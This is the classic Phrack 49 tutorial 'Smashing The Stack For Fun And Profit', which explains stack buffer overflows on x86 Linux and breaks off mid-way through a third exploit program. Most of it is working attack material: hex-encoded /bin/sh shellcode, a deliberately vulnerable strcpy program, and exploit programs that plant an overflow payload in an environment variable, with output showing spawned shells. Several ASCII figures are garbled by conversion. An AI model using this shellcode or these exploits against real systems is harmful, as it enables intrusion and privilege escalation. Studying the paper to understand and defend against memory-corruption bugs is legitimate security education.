[This was an ascii file in Phrack, Volume Seven, Issue Forty-Nine, November 08,

1996. Converted to HTML, and minor corrections made by [email protected].]

.oO Phrack 49 Oo.

Volume Seven, Issue Forty-Nine File 14 of 16
BugTraq, r00t, and Underground.Org
bring you

Smashing The Stack For Fun And Profit

Aleph One
[email protected]
`smash the stack` [C programming] n. On many C implementations it is
possible to corrupt the execution stack by writing past the end of an array
declared auto in a routine. Code that does this is said to smash the stack, and
can cause return from the routine to jump to a random address. This can
produce some of the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle the stack; the
term mung the stack is not used, as this is never done intentionally. See
spam; see also alias bug, fandango on core, memory leak, precedence
lossage, overrun screw.

Introduction
Over the last few months there has been a large increase of buffer overflow
vulnerabilities being both discovered and exploited. Examples of these are syslog,
splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts
to explain what buffer overflows are, and how their exploits work. Basic knowledge of
assembly is required. An understanding of virtual memory concepts, and experience
with gdb are very helpful but not necessary. We also assume we are working with an
Intel x86 CPU, and that the operating system is Linux. Some basic definitions before
we begin: A buffer is simply a contiguous block of computer memory that holds
multiple instances of the same data type. C programmers normally associate with the
word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C,
can be declared either static or dynamic. Static variables are allocated at load time on
the data segment. Dynamic variables are allocated at run time on the stack. To

overflow is to flow, or fill over the top, brims, or bounds. We will concern ourselves
only with the overflow of dynamic buffers, otherwise known as stack-based buffer
overflows.

Process Memory Organization

To understand what stack buffers are we must first understand how a process is
organized in memory. Processes are divided into three regions: Text, Data, and Stack.
We will concentrate on the stack region, but first a small overview of the other regions
is in order. The text region is fixed by the program and includes code (instructions)
and read-only data. This region corresponds to the text section of the executable file.
This region is normally marked read-only and any attempt to write to it will result in a
segmentation violation. The data region contains initialized and uninitialized data.
Static variables are stored in this region. The data region corresponds to the data-bss
sections of the executable file. Its size can be changed with the brk(2) system call. If
the expansion of the bss data or the user stack exhausts available memory, the process
is blocked and is rescheduled to run again with a larger memory space. New memory
is added between the data and stack segments.
/------------------\
|
|
|
Text
|
|
|
|------------------|
|
(Initialized) |
|
Data
|
| (Uninitialized) |
|------------------|
|
|
|
Stack
|
|
|
\------------------/

lower
memory
addresses

higher
memory
addresses

Fig. 1 Process Memory Regions

What Is A Stack?
A stack is an abstract data type frequently used in computer science. A stack of objects
has the property that the last object placed on the stack will be the first object
removed. This property is commonly referred to as last in, first out queue, or a LIFO.
Several operations are defined on stacks. Two of the most important are PUSH and
POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack
size by one by removing the last element at the top of the stack.

Why Do We Use A Stack?

Modern computers are designed with the need of high-level languages in mind. The
most important technique for structuring programs introduced by high-level languages
is the procedure or function. From one point of view, a procedure call alters the flow of
control just as a jump does, but unlike a jump, when finished performing its task, a
function returns control to the statement or instruction following the call. This
high-level abstraction is implemented with the help of the stack. The stack is also used
to dynamically allocate the local variables used in functions, to pass parameters to the
functions, and to return values from the function.

The Stack Region

A stack is a contiguous block of memory containing data. A register called the stack
pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address.
Its size is dynamically adjusted by the kernel at run time. The CPU implements
instructions to PUSH onto and POP off of the stack. The stack consists of logical stack
frames that are pushed when calling a function and popped when returning. A stack
frame contains the parameters to a function, its local variables, and the data necessary
to recover the previous stack frame, including the value of the instruction pointer at
the time of the function call. Depending on the implementation the stack will either
grow down (towards lower memory addresses), or up. In our examples we'll use a
stack that grows down. This is the way the stack grows on many computers including
the Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
implementation dependent. It may point to the last address on the stack, or to the next
free available address after the stack. For our discussion we'll assume it points to the
last address on the stack. In addition to the stack pointer, which points to the top of the
stack (lowest numerical address), it is often convenient to have a frame pointer (FP)
which points to a fixed location within a frame. Some texts also refer to it as a local
base pointer (LB). In principle, local variables could be referenced by giving their
offsets from SP. However, as words are pushed onto the stack and popped from the
stack, these offsets change. Although in some cases the compiler can keep track of the
number of words on the stack and thus correct the offsets, in some cases it cannot, and
in all cases considerable administration is required. Furthermore, on some machines,
such as Intel-based processors, accessing a variable at a known distance from SP
requires multiple instructions. Consequently, many compilers use a second register,
FP, for referencing both local variables and parameters because their distances from FP
do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
purpose. On the Motorola CPUs, any address register except A7 (the stack pointer)
will do. Because the way our stack grows, actual parameters have positive offsets and
local variables have negative offsets from FP. The first thing a procedure must do
when called is save the previous FP (so it can be restored at procedure exit). Then it
copies SP into FP to create the new FP, and advances SP to reserve space for the local
variables. This code is called the procedure prolog. Upon procedure exit, the stack
must be cleaned up again, something called the procedure epilog. The Intel ENTER
and LEAVE instructions and the Motorola LINK and UNLINK instructions, have been

provided to do most of the procedure prolog and epilog work efficiently. Let us see
what the stack looks like in a simple example:
example1.c:
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}

To understand what the program does to call function() we compile it with gcc using
the -S switch to generate assembly code output:
$ gcc -S -o example1.s example1.c

By looking at the assembly language output we see that the call to function() is
translated to:
pushl $3
pushl $2
pushl $1
call function

This pushes the 3 arguments to function backwards into the stack, and calls function().
The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the
saved IP the return address (RET). The first thing done in function is the procedure
prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp

This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto
EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then
allocates space for the local variables by subtracting their size from SP.
We must remember that memory can only be addressed in multiples of the word size.
A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8
bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words)
of memory. That is why SP is being subtracted by 20. With that in mind our stack
looks like this when function() is called (each space represents a byte):
bottom of
memory

top of
memory
buffer2

buffer1

sfp

ret

<------

][

][

][

][

][

top of
stack

][

]
bottom of
stack

Buffer Overflows
A buffer overflow is the result of stuffing more data into a buffer than it can handle.
How can this often found programming error can be taken advantage to execute
arbitrary code? Lets look at another example:
example2.c
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}

This program has a function with a typical buffer overflow coding error. The function
copies a supplied string without bounds checking by using strcpy() instead of
strncpy(). If you run this program you will get a segmentation violation. Lets see what
its stack looks [like] when we call function:
bottom of
memory
<-----top of
stack

top of
memory
buffer
[

sfp
][

ret
][

*str
][

]
bottom of
stack

What is going on here? Why do we get a segmentation violation? Simple. strcpy() is

copying the contents of *str (larger_string[]) into buffer[] until a null character is
found on the string. As we can see buffer[] is much smaller than *str. buffer[] is 16
bytes long, and we are trying to stuff it with 256 bytes. This means that all 250 [240]
bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and
even *str! We had filled large_string with the character 'A'. It's hex character value

is 0x41. That means that the return address is now 0x41414141. This is outside of the
process address space. That is why when the function returns and tries to read the next
instruction from that address you get a segmentation violation. So a buffer overflow
allows us to change the return address of a function. In this way we can change the
flow of execution of the program. Lets go back to our first example and recall what the
stack looked like:
bottom of
memory

top of
memory
buffer2

<------

buffer1
][

sfp
][

top of
stack

ret
][

a
][

b
][

c
][

]
bottom of
stack

Lets try to modify our first example so that it overwrites the return address, and
demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the
stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[].
But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address
is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that
the assignment statement 'x = 1;' after the function call will be jumped. To do so we
add 8 bytes to the return address.
Our code is now: example3.c:
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}

What we have done is add 12 to buffer1[]'s address. This new address is where the
return address is stored. We want to skip past the assignment to the printf call. How
did we know to add 8 [should be 10] to the return address? We used a test value first
(for example 1), compiled the program, and then started gdb:

[aleph1]$ gdb example3

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 :
pushl %ebp
0x8000491 :
movl
%esp,%ebp
0x8000493 :
subl
$0x4,%esp
0x8000496 :
movl
$0x0,0xfffffffc(%ebp)
0x800049d :
pushl $0x3
0x800049f :
pushl $0x2
0x80004a1 :
pushl $0x1
0x80004a3 :
call
0x8000470
0x80004a8 :
addl
$0xc,%esp
0x80004ab :
movl
$0x1,0xfffffffc(%ebp)
0x80004b2 :
movl
0xfffffffc(%ebp),%eax
0x80004b5 :
pushl %eax
0x80004b6 :
pushl $0x80004f8
0x80004bb :
call
0x8000378
0x80004c0 :
addl
$0x8,%esp
0x80004c3 :
movl
%ebp,%esp
0x80004c5 :
popl
%ebp
0x80004c6 :
ret
0x80004c7 :
nop

We can see that when calling function() the RET will be 0x8004a8, and we want to
jump past the assignment at 0x80004ab. The next instruction we want to execute is the
at 0x8004b2. A little math tells us the distance is 8 bytes [should be 10].

Shell Code
So now that we know that we can modify the return address and the flow of execution,
what program do we want to execute? In most cases we'll simply want the program to
spawn a shell. From the shell we can then issue other commands as we wish. But what
if there is no such code in the program we are trying to exploit? How can we place
arbitrary instruction into its address space? The answer is to place the code with [you]
are trying to execute in the buffer we are overflowing, and overwrite the return address
so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S
stands for the code we want to execute the stack would then look like this:
bottom of
memory
<------

DDDDDDDDEEEEEEEEEEEE
89ABCDEF0123456789AB
buffer

EEEE
CDEF
sfp

FFFF
0123
ret

FFFF
4567
a

FFFF
89AB
b

FFFF
CDEF
c

[SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^
|

top of
memory

|____________________________|
top of
stack

bottom of
stack

The code to spawn a shell in C looks like:

shellcode.c
#include stdio.h
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

To find out what it looks like in assembly we compile it, and start up gdb. Remember
to use the -static flag. Otherwise the actual code for the execve system call will not be
included. Instead there will be a reference to dynamic C library that would normally
would be linked in at load time.
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 :
pushl %ebp
0x8000131 :
movl
%esp,%ebp
0x8000133 :
subl
$0x8,%esp
0x8000136 :
movl
$0x80027b8,0xfffffff8(%ebp)
0x800013d :
movl
$0x0,0xfffffffc(%ebp)
0x8000144 :
pushl $0x0
0x8000146 :
leal
0xfffffff8(%ebp),%eax
0x8000149 :
pushl %eax
0x800014a :
movl
0xfffffff8(%ebp),%eax
0x800014d :
pushl %eax
0x800014e :
call
0x80002bc <__execve>
0x8000153 :
addl
$0xc,%esp
0x8000156 :
movl
%ebp,%esp
0x8000158 :
popl
%ebp
0x8000159 :
ret
End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:
0x80002bc <__execve>:
pushl %ebp
0x80002bd <__execve+1>:
movl
%esp,%ebp
0x80002bf <__execve+3>:
pushl %ebx
0x80002c0 <__execve+4>:
movl
$0xb,%eax
0x80002c5 <__execve+9>:
movl
0x8(%ebp),%ebx
0x80002c8 <__execve+12>:
movl
0xc(%ebp),%ecx
0x80002cb <__execve+15>:
movl
0x10(%ebp),%edx
0x80002ce <__execve+18>:
int
$0x80
0x80002d0 <__execve+20>:
movl
%eax,%edx
0x80002d2 <__execve+22>:
testl %edx,%edx
0x80002d4 <__execve+24>:
jnl
0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:
negl
%edx
0x80002d8 <__execve+28>:
pushl %edx
0x80002d9 <__execve+29>:
call
0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:
popl
%edx
0x80002df <__execve+35>:
movl
%edx,(%eax)
0x80002e1 <__execve+37>:
movl
$0xffffffff,%eax
0x80002e6 <__execve+42>:
popl
%ebx
0x80002e7 <__execve+43>:
movl
%ebp,%esp
0x80002e9 <__execve+45>:
popl
%ebp
0x80002ea <__execve+46>:
ret
0x80002eb <__execve+47>:
nop
End of assembler dump.

Lets try to understand what is going on here. We'll start by studying main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp

This is the procedure prelude. It first saves the old frame pointer, makes the current
stack pointer the new frame pointer, and leaves space for the local variables. In this
case its: char *name[2]; or 2 pointers to a char. Pointers are a word long, so it leaves
space for two words (8 bytes).
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)

We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer
of name[]. This is equivalent to: name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)

We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent
to: name[1] = NULL; The actual call to execve() starts here.
0x8000144 : pushl $0x0

We push the arguments to execve() in reverse order onto the stack. We start with
NULL.

0x8000146 : leal 0xfffffff8(%ebp),%eax

We load the address of name[] into the EAX register.

0x8000149 : pushl %eax

We push the address of name[] onto the stack.

0x800014a : movl 0xfffffff8(%ebp),%eax

We load the address of the string "/bin/sh" into the EAX register.
0x800014d : pushl %eax

We push the address of the string "/bin/sh" onto the stack.

0x800014e : call 0x80002bc <__execve>

Call the library procedure execve(). The call instruction pushes the IP onto the stack.
Now execve(). Keep in mind we are using a Intel based Linux system. The syscall
details will change from OS to OS, and from CPU to CPU. Some will pass the
arguments on the stack, others on the registers. Some use a software interrupt to jump
to kernel mode, others use a far call. Linux passes its arguments to the system call on
the registers, and uses a software interrupt to jump into kernel mode.
0x80002bc <__execve>:
pushl
0x80002bd <__execve+1>: movl
0x80002bf <__execve+3>: pushl

%ebp
%esp,%ebp
%ebx

The procedure prelude.

0x80002c0 <__execve+4>: movl

$0xb,%eax

Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is
execve.
0x80002c5 <__execve+9>: movl

0x8(%ebp),%ebx

Copy the address of "/bin/sh" into EBX.

0x80002c8 <__execve+12>:

movl

0xc(%ebp),%ecx

movl

0x10(%ebp),%edx

Copy the address of name[] into ECX.

0x80002cb <__execve+15>:

Copy the address of the null pointer into %edx.

0x80002ce <__execve+18>:

int

$0x80

Change into kernel mode. [Trap into the kernel.]

As we can see there is not much to the execve() system call. All we need to do is:
a. Have the null terminated string "/bin/sh" somewhere in memory.
b. Have the address of the string "/bin/sh" somewhere in memory followed by a null
long word.
c. Copy 0xb into the EAX register.
d. Copy the address of the address of the string "/bin/sh" into the EBX register.
e. Copy the address of the string "/bin/sh" into the ECX register.
f. Copy the address of the null long word into the EDX register.
g. Execute the int $0x80 instruction.
But what if the execve() call fails for some reason? The program will continue
fetching instructions from the stack, which may contain random data! The program
will most likely core dump. We want the program to exit cleanly if the execve syscall
fails. To accomplish this we must then add an exit syscall after the execve syscall.
What does the exit syscall looks like?
exit.c
#include <stdlib.h>
void main() {
exit(0);
}
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:
pushl %ebp
0x800034d <_exit+1>:
movl
%esp,%ebp
0x800034f <_exit+3>:
pushl %ebx
0x8000350 <_exit+4>:
movl
$0x1,%eax
0x8000355 <_exit+9>:
movl
0x8(%ebp),%ebx
0x8000358 <_exit+12>:
int
$0x80
0x800035a <_exit+14>:
movl
0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:
movl
%ebp,%esp

0x800035f <_exit+19>:
0x8000360 <_exit+20>:
0x8000361 <_exit+21>:
0x8000362 <_exit+22>:
0x8000363 <_exit+23>:
End of assembler dump.

popl
ret
nop
nop
nop

%ebp

The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int
0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place
0 in EBX. Our list of steps is now:
a. Have the null terminated string "/bin/sh" somewhere in memory.
b. Have the address of the string "/bin/sh" somewhere in memory followed by a null
long word.
c. Copy 0xb into the EAX register.
d. Copy the address of the address of the string "/bin/sh" into the EBX register.
e. Copy the address of the string "/bin/sh" into the ECX register.
f. Copy the address of the null long word into the EDX register.
g. Execute the int $0x80 instruction.
h. Copy 0x1 into the EAX register.
i. Copy 0x0 into the EBX register.
j. Execute the int $0x80 instruction.
Trying to put this together in assembly language, placing the string after the code, and
remembering we will place the address of the string, and null word after the array, we
have:
movl
string_addr,string_addr_addr
movb
$0x0,null_byte_addr
movl
$0x0,null_addr
movl
$0xb,%eax
movl
string_addr,%ebx
leal
string_addr,%ecx
leal
null_string,%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
/bin/sh string goes here.

The problem is that we don't know where in the memory space of the program we are
trying to exploit the code (and the string that follows it) will be placed. One way
around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions
can use IP relative addressing, which means we can jump to an offset from the current
IP without needing to know the exact address of where in memory we want to jump to.
If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction
to it, the strings address will be pushed onto the stack as the return address when

CALL is executed. All we need then is to copy the return address into a register. The
CALL instruction can simply call the start of our code above. Assuming now that J
stands for the JMP instruction, C for the CALL instruction, and s for the string, the
execution flow would now be:
bottom of
memory

DDDDDDDDEEEEEEEEEEEE
89ABCDEF0123456789AB
buffer

EEEE
CDEF
sfp

FFFF
0123
ret

FFFF
4567
a

FFFF
89AB
b

FFFF
CDEF
c

<------

top of
memory

[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^
^|
|
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
bottom of
stack

top of
stack

[There are not enough small-s in the figure; strlen("/bin/sh") == 7.] With this
modifications, using indexed addressing, and writing down how many bytes each
instruction takes our code looks like:
jmp
offset-to-call
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,array-offset(%esi) # 3 bytes
movb
$0x0,nullbyteoffset(%esi)# 4 bytes
movl
$0x0,null-offset(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
array-offset(%esi),%ecx # 3 bytes
leal
null-offset(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
offset-to-popl
# 5 bytes
/bin/sh string goes here.

Calculating the offsets from jmp to call, from call to popl, from the string address to
the array, and from the string address to the null long word, we now have:
jmp
popl
movl
movb
movl
movl
movl
leal
leal
int
movl
movl

0x26
%esi
%esi,0x8(%esi)
$0x0,0x7(%esi)
$0x0,0xc(%esi)
$0xb,%eax
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
$0x1, %eax
$0x0, %ebx

#
#
#
#
#
#
#
#
#
#
#
#

2
1
3
4
7
5
2
3
3
2
5
5

bytes
byte
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes

int
$0x80
call
-0x2b
.string \"/bin/sh\"

# 2 bytes
# 5 bytes
# 8 bytes

Looks good. To make sure it works correctly we must compile it and run it. But there
is a problem. Our code modifies itself [where?], but most operating system mark code
pages read-only. To get around this restriction we must place the code we wish to
execute in the stack or data segment, and transfer control to it. To do so we will place
our code in a global array in the data segment. We need first a hex representation of
the binary code. Lets compile it first, and then use gdb to obtain it.
shellcodeasm.c
void main() {
__asm__("
jmp
0x2a
popl
%esi
movl
%esi,0x8(%esi)
movb
$0x0,0x7(%esi)
movl
$0x0,0xc(%esi)
movl
$0xb,%eax
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
call
-0x2f
.string \"/bin/sh\"
");
}

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

3
1
3
4
7
5
2
3
3
2
5
5
2
5
8

bytes
byte
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 :
pushl %ebp
0x8000131 :
movl
%esp,%ebp
0x8000133 :
jmp
0x800015f
0x8000135 :
popl
%esi
0x8000136 :
movl
%esi,0x8(%esi)
0x8000139 :
movb
$0x0,0x7(%esi)
0x800013d :
movl
$0x0,0xc(%esi)
0x8000144 :
movl
$0xb,%eax
0x8000149 :
movl
%esi,%ebx
0x800014b :
leal
0x8(%esi),%ecx

0x800014e :
leal
0xc(%esi),%edx
0x8000151 :
int
$0x80
0x8000153 :
movl
$0x1,%eax
0x8000158 :
movl
$0x0,%ebx
0x800015d :
int
$0x80
0x800015f :
call
0x8000135
0x8000164 :
das
0x8000165 :
boundl 0x6e(%ecx),%ebp
0x8000168 :
das
0x8000169 :
jae
0x80001d3 <__new_exitfn+55>
0x800016b :
addb
%cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 :
0xeb
(gdb)
0x8000134 :
0x2a
(gdb)
.
.
.

testsc.c
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$

It works! But there is an obstacle. In most cases we'll be trying to overflow a character
buffer. As such any null bytes in our shellcode will be considered the end of the
string, and the copy will be terminated. There must be no null bytes in the shellcode
for the exploit to work. Let's try to eliminate the bytes (and at the same time make it
smaller).
Problem instruction:

Substitute with:

-------------------------------------------------------movb
$0x0,0x7(%esi)
xorl
%eax,%eax
molv
$0x0,0xc(%esi)
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
-------------------------------------------------------movl
$0xb,%eax
movb
$0xb,%al
-------------------------------------------------------movl
$0x1, %eax
xorl
%ebx,%ebx
movl
$0x0, %ebx
movl
%ebx,%eax
inc
%eax
--------------------------------------------------------

Our improved code: shellcodeasm2.c

void main() {
__asm__("
jmp
0x1f
popl
%esi
movl
%esi,0x8(%esi)
xorl
%eax,%eax
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
movb
$0xb,%al
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
xorl
%ebx,%ebx
movl
%ebx,%eax
inc
%eax
int
$0x80
call
-0x24
.string \"/bin/sh\"

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

2 bytes
1 byte
3 bytes
2 bytes
3 bytes
3 bytes
2 bytes
2 bytes
3 bytes
3 bytes
2 bytes
2 bytes
2 bytes
1 bytes
2 bytes
5 bytes
8 bytes
46 bytes total

");
}

And our new test program: testsc2.c

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

[aleph1]$ gcc -o testsc2 testsc2.c

[aleph1]$ ./testsc2
$ exit
[aleph1]$

Writing an Exploit
Lets try to pull all our pieces together. We have the shellcode. We know it must be
part of the string which we'll use to overflow the buffer. We know we must point the
return address back into the buffer. This example will demonstrate these points:
overflow1.c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$

What we have done above is filled the array large_string[] with the address of buffer[],
which is where our code will be. Then we copy our shellcode into the beginning of the
large_string string. strcpy() will then copy large_string onto buffer without doing any
bounds checking, and will overflow the return address, overwriting it with the address
where our code is now located. Once we reach the end of main and it tried to return it
jumps to our code, and execs a shell. The problem we are faced when trying to
overflow the buffer of another program is trying to figure out at what address the

buffer (and thus our code) will be. The answer is that for every program the stack will
start at the same address. Most programs do not push more than a few hundred or a
few thousand bytes into the stack at any one time. Therefore by knowing where the
stack starts we can try to guess where the buffer we are trying to overflow will be.
Here is a little program that will print its stack pointer:
sp.c
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
[aleph1]$ ./sp
0x8000470
[aleph1]$

Lets assume this is the program we are trying to overflow is: vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}

We can create a program that takes as a parameter a buffer size, and an offset from its
own stack pointer (where we believe the buffer we want to overflow may live). We'll
put the overflow string in an environment variable so it is easy to manipulate:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE

0
512

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {

__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}

Now we can try to guess what the buffer and offset should be:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit

[aleph1]$ ./exploit2 600 200

Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$

As we can see this is not an efficient process. Trying to guess the offset even while
knowing where the beginning of the stack lives is nearly impossible. We would need
at best a hundred tries, and at worst a couple of thousand. The problem is we need to
guess *exactly* where the address of our code will start. If we are off by one byte
more or less we will just get a segmentation violation or a invalid instruction. One way
to increase our chances is to pad the front of our overflow buffer with NOP
instructions. Almost all processors have a NOP instruction that performs a null
operation. It is usually used to delay execution for purposes of timing. We will take
advantage of it and fill half of our overflow buffer with them. We will place our
shellcode at the center, and then follow it with the return addresses. If we are lucky
and the return address points anywhere in the string of NOPs, they will just get
executed until they reach our code. In the Intel architecture the NOP instruction is one
byte long and it translates to 0x90 in machine code. Assuming the stack starts at
address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the
new stack would look like this:
bottom of
memory
<------

DDDDDDDDEEEEEEEEEEEE
89ABCDEF0123456789AB
buffer

EEEE
CDEF
sfp

FFFF
0123
ret

FFFF
4567
a

FFFF
89AB
b

FFFF
CDEF
c

top of
memory

[NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^
|
|_____________________|

top of
stack

bottom of
stack

The new exploits is then exploit3.c

#include <stdlib.h>
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
#define NOP
char shellcode[] =

0
512
0x90

